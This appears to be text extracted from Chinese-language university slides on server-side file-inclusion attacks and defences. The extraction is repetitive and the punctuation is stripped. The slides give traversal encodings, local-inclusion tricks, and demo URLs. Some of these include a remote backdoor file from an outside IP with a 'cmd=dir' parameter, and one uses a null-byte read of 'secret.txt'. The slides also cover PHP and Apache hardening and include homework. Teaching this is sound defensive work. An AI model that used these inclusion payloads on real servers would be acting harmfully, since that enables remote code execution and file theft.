ndash session暫存檔案

ndash 記錄檔 access log

ndash 上傳暫存檔案 RFC 1867

ndash procselfenviron web執行緒的環境變數

ndash data或 phpinput 等擬真通訊協定

ndash 應用程式建立的檔案(資料庫檔案 快取檔案 應用記錄檔hellip)

32 檔案或資源匯入安全 ndash 攻擊手法(55)

bull 攻擊範例

ndash RFIphp

bull httpwwwhackdemocomclass2RFIphppath=http16313200164~taien

doortxtampcmd=dir

bull httpwwwhackdemocomclass2RFIphpgpath=http16313200164~taie

ndoortxtampcmd=dir

ndash RFISplitphp

bull httpwwwhackdemocomclass2RFISplitphpcmd=dirampgpath=http16313

200164~taiendoortxt

bull httpwwwhackdemocomclass2RFISplitphpcmd=dirampgpath=http16313

200164~taiendoortxt00

ndash LFIphp

bull httpwwwhackdemocomclass2LFIphplog=fail

bull httpwwwhackdemocomclass2LFIphplog=failsecrettxt00

33 檔案或資源匯入安全 ndash 解決方案

bull 解決方案

ndash 白名單

ndash 黑名單

bull 過濾不正常字串

bull basename()

ndash 系統設定

bull PHPini

ndash allow_url_fopen off

ndash allow_url_include off

ndash register_globals off

ndash open_basedir

raquo Windows 多目錄設定rdquo分號rdquo

raquo Linux 多目錄設定rdquo冒號rdquo

bull Apache

ltDirectory hometaiengt

php_admin_flag allow_url_fopen off

ltDirectorygt

34 檔案或資源匯入安全 ndash 實際案例(15)

bull 知名公告系統 - ANN 公告系統(httpnextimebyethost4com)

34 檔案或資源匯入安全 ndash 實際案例(25)

bull 某知名公告系統(lt130)遠端檔案引入

34 檔案或資源匯入安全 ndash 實際案例(35)

bull 某知名公告系統(lt130)變數覆蓋

34 檔案或資源匯入安全 ndash 實際案例(45)

bull 知名開源專案 - Phorum(httpwwwphorumorg)

34 檔案或資源匯入安全 ndash 實際案例(55)

那一年地下網管

弱點揭露資料庫

bull Exploit-DB

ndash wwwexploit-dbcom

bull WooYunorg

ndash wwwwooyunorg

bull Sebug漏洞信息庫

ndash sebugnet

作業

bull 查詢自己在專案中使用的套件是否有弱點

bull 檢查自己案子是否有 Command Injection 嘗試解決並分享

bull 檢查自己案子是否有濫用案例裡的情節或其他

bull 檢查自己案子是否有 RFI 或 LFI 試解決並分享

參考資料

bull 吳翰清 網路竟然這麼危險(白帽子讲Web安全) 2012

bull 柯志杰譯 網頁程式駭客攻防實戰以PHP為例 2007

bull OWASP OWASP Testing Guide v30

bull Gynvael Coldwind PHP LFI to arbitratry code execution via rfc1867 file

upload temporary files 2011

bull Cb520 ANN公告系統漏洞 2007

bull Exploit-DB

Page 19: 伺服器端攻擊與防禦II

32 檔案或資源匯入安全 ndash 攻擊手法(35)

bull 目錄遊走(Directory Traversal)攻擊

bull

bull 一些變形

編碼 等同

2e2e2f

2e2e

2f

2e2e5c

2e2e

5c

252e252e255c

255c

32 檔案或資源匯入安全 ndash 攻擊手法(45)

bull 本地端引入技巧

ndash 使用者上傳檔案

ndash session暫存檔案

ndash 記錄檔 access log

ndash 上傳暫存檔案 RFC 1867

ndash procselfenviron web執行緒的環境變數

ndash data或 phpinput 等擬真通訊協定

ndash 應用程式建立的檔案(資料庫檔案 快取檔案 應用記錄檔hellip)

32 檔案或資源匯入安全 ndash 攻擊手法(55)

bull 攻擊範例

ndash RFIphp

bull httpwwwhackdemocomclass2RFIphppath=http16313200164~taien

doortxtampcmd=dir

bull httpwwwhackdemocomclass2RFIphpgpath=http16313200164~taie

ndoortxtampcmd=dir

ndash RFISplitphp

bull httpwwwhackdemocomclass2RFISplitphpcmd=dirampgpath=http16313

200164~taiendoortxt

bull httpwwwhackdemocomclass2RFISplitphpcmd=dirampgpath=http16313

200164~taiendoortxt00

ndash LFIphp

bull httpwwwhackdemocomclass2LFIphplog=fail

bull httpwwwhackdemocomclass2LFIphplog=failsecrettxt00

33 檔案或資源匯入安全 ndash 解決方案

bull 解決方案

ndash 白名單

ndash 黑名單

bull 過濾不正常字串

bull basename()

ndash 系統設定

bull PHPini

ndash allow_url_fopen off

ndash allow_url_include off

ndash register_globals off

ndash open_basedir

raquo Windows 多目錄設定rdquo分號rdquo

raquo Linux 多目錄設定rdquo冒號rdquo

bull Apache

ltDirectory hometaiengt

php_admin_flag allow_url_fopen off

ltDirectorygt

34 檔案或資源匯入安全 ndash 實際案例(15)

bull 知名公告系統 - ANN 公告系統(httpnextimebyethost4com)

34 檔案或資源匯入安全 ndash 實際案例(25)

bull 某知名公告系統(lt130)遠端檔案引入

34 檔案或資源匯入安全 ndash 實際案例(35)

bull 某知名公告系統(lt130)變數覆蓋

34 檔案或資源匯入安全 ndash 實際案例(45)

bull 知名開源專案 - Phorum(httpwwwphorumorg)

34 檔案或資源匯入安全 ndash 實際案例(55)

那一年地下網管

弱點揭露資料庫

bull Exploit-DB

ndash wwwexploit-dbcom

bull WooYunorg

ndash wwwwooyunorg

bull Sebug漏洞信息庫

ndash sebugnet

作業

bull 查詢自己在專案中使用的套件是否有弱點

bull 檢查自己案子是否有 Command Injection 嘗試解決並分享

bull 檢查自己案子是否有濫用案例裡的情節或其他

bull 檢查自己案子是否有 RFI 或 LFI 試解決並分享

參考資料

bull 吳翰清 網路竟然這麼危險(白帽子讲Web安全) 2012

bull 柯志杰譯 網頁程式駭客攻防實戰以PHP為例 2007

bull OWASP OWASP Testing Guide v30

bull Gynvael Coldwind PHP LFI to arbitratry code execution via rfc1867 file

upload temporary files 2011

bull Cb520 ANN公告系統漏洞 2007

bull Exploit-DB

Page 20: 伺服器端攻擊與防禦II

32 檔案或資源匯入安全 ndash 攻擊手法(45)

bull 本地端引入技巧

ndash 使用者上傳檔案

ndash session暫存檔案

ndash 記錄檔 access log

ndash 上傳暫存檔案 RFC 1867

ndash procselfenviron web執行緒的環境變數

ndash data或 phpinput 等擬真通訊協定

ndash 應用程式建立的檔案(資料庫檔案 快取檔案 應用記錄檔hellip)

32 檔案或資源匯入安全 ndash 攻擊手法(55)

bull 攻擊範例

ndash RFIphp

bull httpwwwhackdemocomclass2RFIphppath=http16313200164~taien

doortxtampcmd=dir

bull httpwwwhackdemocomclass2RFIphpgpath=http16313200164~taie

ndoortxtampcmd=dir

ndash RFISplitphp

bull httpwwwhackdemocomclass2RFISplitphpcmd=dirampgpath=http16313

200164~taiendoortxt

bull httpwwwhackdemocomclass2RFISplitphpcmd=dirampgpath=http16313

200164~taiendoortxt00

ndash LFIphp

bull httpwwwhackdemocomclass2LFIphplog=fail

bull httpwwwhackdemocomclass2LFIphplog=failsecrettxt00

33 檔案或資源匯入安全 ndash 解決方案

bull 解決方案

ndash 白名單

ndash 黑名單

bull 過濾不正常字串

bull basename()

ndash 系統設定

bull PHPini

ndash allow_url_fopen off

ndash allow_url_include off

ndash register_globals off

ndash open_basedir

raquo Windows 多目錄設定rdquo分號rdquo

raquo Linux 多目錄設定rdquo冒號rdquo

bull Apache

ltDirectory hometaiengt

php_admin_flag allow_url_fopen off

ltDirectorygt

34 檔案或資源匯入安全 ndash 實際案例(15)

bull 知名公告系統 - ANN 公告系統(httpnextimebyethost4com)

34 檔案或資源匯入安全 ndash 實際案例(25)

bull 某知名公告系統(lt130)遠端檔案引入

34 檔案或資源匯入安全 ndash 實際案例(35)

bull 某知名公告系統(lt130)變數覆蓋

34 檔案或資源匯入安全 ndash 實際案例(45)

bull 知名開源專案 - Phorum(httpwwwphorumorg)

34 檔案或資源匯入安全 ndash 實際案例(55)

那一年地下網管

弱點揭露資料庫

bull Exploit-DB

ndash wwwexploit-dbcom

bull WooYunorg

ndash wwwwooyunorg

bull Sebug漏洞信息庫

ndash sebugnet

作業

bull 查詢自己在專案中使用的套件是否有弱點

bull 檢查自己案子是否有 Command Injection 嘗試解決並分享

bull 檢查自己案子是否有濫用案例裡的情節或其他

bull 檢查自己案子是否有 RFI 或 LFI 試解決並分享

參考資料

bull 吳翰清 網路竟然這麼危險(白帽子讲Web安全) 2012

bull 柯志杰譯 網頁程式駭客攻防實戰以PHP為例 2007

bull OWASP OWASP Testing Guide v30

bull Gynvael Coldwind PHP LFI to arbitratry code execution via rfc1867 file

upload temporary files 2011

bull Cb520 ANN公告系統漏洞 2007

bull Exploit-DB

Page 21: 伺服器端攻擊與防禦II

32 檔案或資源匯入安全 ndash 攻擊手法(55)

bull 攻擊範例

ndash RFIphp

bull httpwwwhackdemocomclass2RFIphppath=http16313200164~taien

doortxtampcmd=dir

bull httpwwwhackdemocomclass2RFIphpgpath=http16313200164~taie

ndoortxtampcmd=dir

ndash RFISplitphp

bull httpwwwhackdemocomclass2RFISplitphpcmd=dirampgpath=http16313

200164~taiendoortxt

bull httpwwwhackdemocomclass2RFISplitphpcmd=dirampgpath=http16313

200164~taiendoortxt00

ndash LFIphp

bull httpwwwhackdemocomclass2LFIphplog=fail

bull httpwwwhackdemocomclass2LFIphplog=failsecrettxt00

33 檔案或資源匯入安全 ndash 解決方案

bull 解決方案

ndash 白名單

ndash 黑名單

bull 過濾不正常字串

bull basename()

ndash 系統設定

bull PHPini

ndash allow_url_fopen off

ndash allow_url_include off

ndash register_globals off

ndash open_basedir

raquo Windows 多目錄設定rdquo分號rdquo

raquo Linux 多目錄設定rdquo冒號rdquo

bull Apache

ltDirectory hometaiengt

php_admin_flag allow_url_fopen off

ltDirectorygt

34 檔案或資源匯入安全 ndash 實際案例(15)

bull 知名公告系統 - ANN 公告系統(httpnextimebyethost4com)

34 檔案或資源匯入安全 ndash 實際案例(25)

bull 某知名公告系統(lt130)遠端檔案引入

34 檔案或資源匯入安全 ndash 實際案例(35)

bull 某知名公告系統(lt130)變數覆蓋

34 檔案或資源匯入安全 ndash 實際案例(45)

bull 知名開源專案 - Phorum(httpwwwphorumorg)

34 檔案或資源匯入安全 ndash 實際案例(55)

那一年地下網管

弱點揭露資料庫

bull Exploit-DB

ndash wwwexploit-dbcom

bull WooYunorg

ndash wwwwooyunorg

bull Sebug漏洞信息庫

ndash sebugnet

作業

bull 查詢自己在專案中使用的套件是否有弱點

bull 檢查自己案子是否有 Command Injection 嘗試解決並分享

bull 檢查自己案子是否有濫用案例裡的情節或其他

bull 檢查自己案子是否有 RFI 或 LFI 試解決並分享

參考資料

bull 吳翰清 網路竟然這麼危險(白帽子讲Web安全) 2012

bull 柯志杰譯 網頁程式駭客攻防實戰以PHP為例 2007

bull OWASP OWASP Testing Guide v30

bull Gynvael Coldwind PHP LFI to arbitratry code execution via rfc1867 file

upload temporary files 2011

bull Cb520 ANN公告系統漏洞 2007

bull Exploit-DB

Page 22: 伺服器端攻擊與防禦II

33 檔案或資源匯入安全 ndash 解決方案

bull 解決方案

ndash 白名單

ndash 黑名單

bull 過濾不正常字串

bull basename()

ndash 系統設定

bull PHPini

ndash allow_url_fopen off

ndash allow_url_include off

ndash register_globals off

ndash open_basedir

raquo Windows 多目錄設定rdquo分號rdquo

raquo Linux 多目錄設定rdquo冒號rdquo

bull Apache

ltDirectory hometaiengt

php_admin_flag allow_url_fopen off

ltDirectorygt

34 檔案或資源匯入安全 ndash 實際案例(15)

bull 知名公告系統 - ANN 公告系統(httpnextimebyethost4com)

34 檔案或資源匯入安全 ndash 實際案例(25)

bull 某知名公告系統(lt130)遠端檔案引入

34 檔案或資源匯入安全 ndash 實際案例(35)

bull 某知名公告系統(lt130)變數覆蓋

34 檔案或資源匯入安全 ndash 實際案例(45)

bull 知名開源專案 - Phorum(httpwwwphorumorg)

34 檔案或資源匯入安全 ndash 實際案例(55)

那一年地下網管

弱點揭露資料庫

bull Exploit-DB

ndash wwwexploit-dbcom

bull WooYunorg

ndash wwwwooyunorg

bull Sebug漏洞信息庫

ndash sebugnet

作業

bull 查詢自己在專案中使用的套件是否有弱點

bull 檢查自己案子是否有 Command Injection 嘗試解決並分享

bull 檢查自己案子是否有濫用案例裡的情節或其他

bull 檢查自己案子是否有 RFI 或 LFI 試解決並分享

參考資料

bull 吳翰清 網路竟然這麼危險(白帽子讲Web安全) 2012

bull 柯志杰譯 網頁程式駭客攻防實戰以PHP為例 2007

bull OWASP OWASP Testing Guide v30

bull Gynvael Coldwind PHP LFI to arbitratry code execution via rfc1867 file

upload temporary files 2011

bull Cb520 ANN公告系統漏洞 2007

bull Exploit-DB

Page 23: 伺服器端攻擊與防禦II

34 檔案或資源匯入安全 ndash 實際案例(15)

bull 知名公告系統 - ANN 公告系統(httpnextimebyethost4com)

34 檔案或資源匯入安全 ndash 實際案例(25)

bull 某知名公告系統(lt130)遠端檔案引入

34 檔案或資源匯入安全 ndash 實際案例(35)

bull 某知名公告系統(lt130)變數覆蓋

34 檔案或資源匯入安全 ndash 實際案例(45)

bull 知名開源專案 - Phorum(httpwwwphorumorg)

34 檔案或資源匯入安全 ndash 實際案例(55)

那一年地下網管

弱點揭露資料庫

bull Exploit-DB

ndash wwwexploit-dbcom

bull WooYunorg

ndash wwwwooyunorg

bull Sebug漏洞信息庫

ndash sebugnet

作業

bull 查詢自己在專案中使用的套件是否有弱點

bull 檢查自己案子是否有 Command Injection 嘗試解決並分享

bull 檢查自己案子是否有濫用案例裡的情節或其他

bull 檢查自己案子是否有 RFI 或 LFI 試解決並分享

參考資料

bull 吳翰清 網路竟然這麼危險(白帽子讲Web安全) 2012

bull 柯志杰譯 網頁程式駭客攻防實戰以PHP為例 2007

bull OWASP OWASP Testing Guide v30

bull Gynvael Coldwind PHP LFI to arbitratry code execution via rfc1867 file

upload temporary files 2011

bull Cb520 ANN公告系統漏洞 2007

bull Exploit-DB

Page 24: 伺服器端攻擊與防禦II

34 檔案或資源匯入安全 ndash 實際案例(25)

bull 某知名公告系統(lt130)遠端檔案引入

34 檔案或資源匯入安全 ndash 實際案例(35)

bull 某知名公告系統(lt130)變數覆蓋

34 檔案或資源匯入安全 ndash 實際案例(45)

bull 知名開源專案 - Phorum(httpwwwphorumorg)

34 檔案或資源匯入安全 ndash 實際案例(55)

那一年地下網管

弱點揭露資料庫

bull Exploit-DB

ndash wwwexploit-dbcom

bull WooYunorg

ndash wwwwooyunorg

bull Sebug漏洞信息庫

ndash sebugnet

作業

bull 查詢自己在專案中使用的套件是否有弱點

bull 檢查自己案子是否有 Command Injection 嘗試解決並分享

bull 檢查自己案子是否有濫用案例裡的情節或其他

bull 檢查自己案子是否有 RFI 或 LFI 試解決並分享

參考資料

bull 吳翰清 網路竟然這麼危險(白帽子讲Web安全) 2012

bull 柯志杰譯 網頁程式駭客攻防實戰以PHP為例 2007

bull OWASP OWASP Testing Guide v30

bull Gynvael Coldwind PHP LFI to arbitratry code execution via rfc1867 file

upload temporary files 2011

bull Cb520 ANN公告系統漏洞 2007

bull Exploit-DB

Page 25: 伺服器端攻擊與防禦II

34 檔案或資源匯入安全 ndash 實際案例(35)

bull 某知名公告系統(lt130)變數覆蓋

34 檔案或資源匯入安全 ndash 實際案例(45)

bull 知名開源專案 - Phorum(httpwwwphorumorg)

34 檔案或資源匯入安全 ndash 實際案例(55)

那一年地下網管

弱點揭露資料庫

bull Exploit-DB

ndash wwwexploit-dbcom

bull WooYunorg

ndash wwwwooyunorg

bull Sebug漏洞信息庫

ndash sebugnet

作業

bull 查詢自己在專案中使用的套件是否有弱點

bull 檢查自己案子是否有 Command Injection 嘗試解決並分享

bull 檢查自己案子是否有濫用案例裡的情節或其他

bull 檢查自己案子是否有 RFI 或 LFI 試解決並分享

參考資料

bull 吳翰清 網路竟然這麼危險(白帽子讲Web安全) 2012

bull 柯志杰譯 網頁程式駭客攻防實戰以PHP為例 2007

bull OWASP OWASP Testing Guide v30

bull Gynvael Coldwind PHP LFI to arbitratry code execution via rfc1867 file

upload temporary files 2011

bull Cb520 ANN公告系統漏洞 2007

bull Exploit-DB

Page 26: 伺服器端攻擊與防禦II

34 檔案或資源匯入安全 ndash 實際案例(45)

bull 知名開源專案 - Phorum(httpwwwphorumorg)

34 檔案或資源匯入安全 ndash 實際案例(55)

那一年地下網管

弱點揭露資料庫

bull Exploit-DB

ndash wwwexploit-dbcom

bull WooYunorg

ndash wwwwooyunorg

bull Sebug漏洞信息庫

ndash sebugnet

作業

bull 查詢自己在專案中使用的套件是否有弱點

bull 檢查自己案子是否有 Command Injection 嘗試解決並分享

bull 檢查自己案子是否有濫用案例裡的情節或其他

bull 檢查自己案子是否有 RFI 或 LFI 試解決並分享

參考資料

bull 吳翰清 網路竟然這麼危險(白帽子讲Web安全) 2012

bull 柯志杰譯 網頁程式駭客攻防實戰以PHP為例 2007

bull OWASP OWASP Testing Guide v30

bull Gynvael Coldwind PHP LFI to arbitratry code execution via rfc1867 file

upload temporary files 2011

bull Cb520 ANN公告系統漏洞 2007

bull Exploit-DB

Page 27: 伺服器端攻擊與防禦II

34 檔案或資源匯入安全 ndash 實際案例(55)

那一年地下網管

弱點揭露資料庫

bull Exploit-DB

ndash wwwexploit-dbcom

bull WooYunorg

ndash wwwwooyunorg

bull Sebug漏洞信息庫

ndash sebugnet

作業

bull 查詢自己在專案中使用的套件是否有弱點

bull 檢查自己案子是否有 Command Injection 嘗試解決並分享

bull 檢查自己案子是否有濫用案例裡的情節或其他

bull 檢查自己案子是否有 RFI 或 LFI 試解決並分享

參考資料

bull 吳翰清 網路竟然這麼危險(白帽子讲Web安全) 2012

bull 柯志杰譯 網頁程式駭客攻防實戰以PHP為例 2007

bull OWASP OWASP Testing Guide v30

bull Gynvael Coldwind PHP LFI to arbitratry code execution via rfc1867 file

upload temporary files 2011

bull Cb520 ANN公告系統漏洞 2007

bull Exploit-DB

Page 28: 伺服器端攻擊與防禦II

那一年地下網管

弱點揭露資料庫

bull Exploit-DB

ndash wwwexploit-dbcom

bull WooYunorg

ndash wwwwooyunorg

bull Sebug漏洞信息庫

ndash sebugnet

作業

bull 查詢自己在專案中使用的套件是否有弱點

bull 檢查自己案子是否有 Command Injection 嘗試解決並分享

bull 檢查自己案子是否有濫用案例裡的情節或其他

bull 檢查自己案子是否有 RFI 或 LFI 試解決並分享

參考資料

bull 吳翰清 網路竟然這麼危險(白帽子讲Web安全) 2012

bull 柯志杰譯 網頁程式駭客攻防實戰以PHP為例 2007

bull OWASP OWASP Testing Guide v30

bull Gynvael Coldwind PHP LFI to arbitratry code execution via rfc1867 file

upload temporary files 2011

bull Cb520 ANN公告系統漏洞 2007

bull Exploit-DB

Page 29: 伺服器端攻擊與防禦II

弱點揭露資料庫

bull Exploit-DB

ndash wwwexploit-dbcom

bull WooYunorg

ndash wwwwooyunorg

bull Sebug漏洞信息庫

ndash sebugnet

作業

bull 查詢自己在專案中使用的套件是否有弱點

bull 檢查自己案子是否有 Command Injection 嘗試解決並分享

bull 檢查自己案子是否有濫用案例裡的情節或其他

bull 檢查自己案子是否有 RFI 或 LFI 試解決並分享

參考資料

bull 吳翰清 網路竟然這麼危險(白帽子讲Web安全) 2012

bull 柯志杰譯 網頁程式駭客攻防實戰以PHP為例 2007

bull OWASP OWASP Testing Guide v30

bull Gynvael Coldwind PHP LFI to arbitratry code execution via rfc1867 file

upload temporary files 2011

bull Cb520 ANN公告系統漏洞 2007

bull Exploit-DB

Page 30: 伺服器端攻擊與防禦II

作業

bull 查詢自己在專案中使用的套件是否有弱點

bull 檢查自己案子是否有 Command Injection 嘗試解決並分享

bull 檢查自己案子是否有濫用案例裡的情節或其他

bull 檢查自己案子是否有 RFI 或 LFI 試解決並分享

參考資料

bull 吳翰清 網路竟然這麼危險(白帽子讲Web安全) 2012

bull 柯志杰譯 網頁程式駭客攻防實戰以PHP為例 2007

bull OWASP OWASP Testing Guide v30

bull Gynvael Coldwind PHP LFI to arbitratry code execution via rfc1867 file

upload temporary files 2011

bull Cb520 ANN公告系統漏洞 2007

bull Exploit-DB

Page 31: 伺服器端攻擊與防禦II

參考資料

bull 吳翰清 網路竟然這麼危險(白帽子讲Web安全) 2012

bull 柯志杰譯 網頁程式駭客攻防實戰以PHP為例 2007

bull OWASP OWASP Testing Guide v30

bull Gynvael Coldwind PHP LFI to arbitratry code execution via rfc1867 file

upload temporary files 2011

bull Cb520 ANN公告系統漏洞 2007

bull Exploit-DB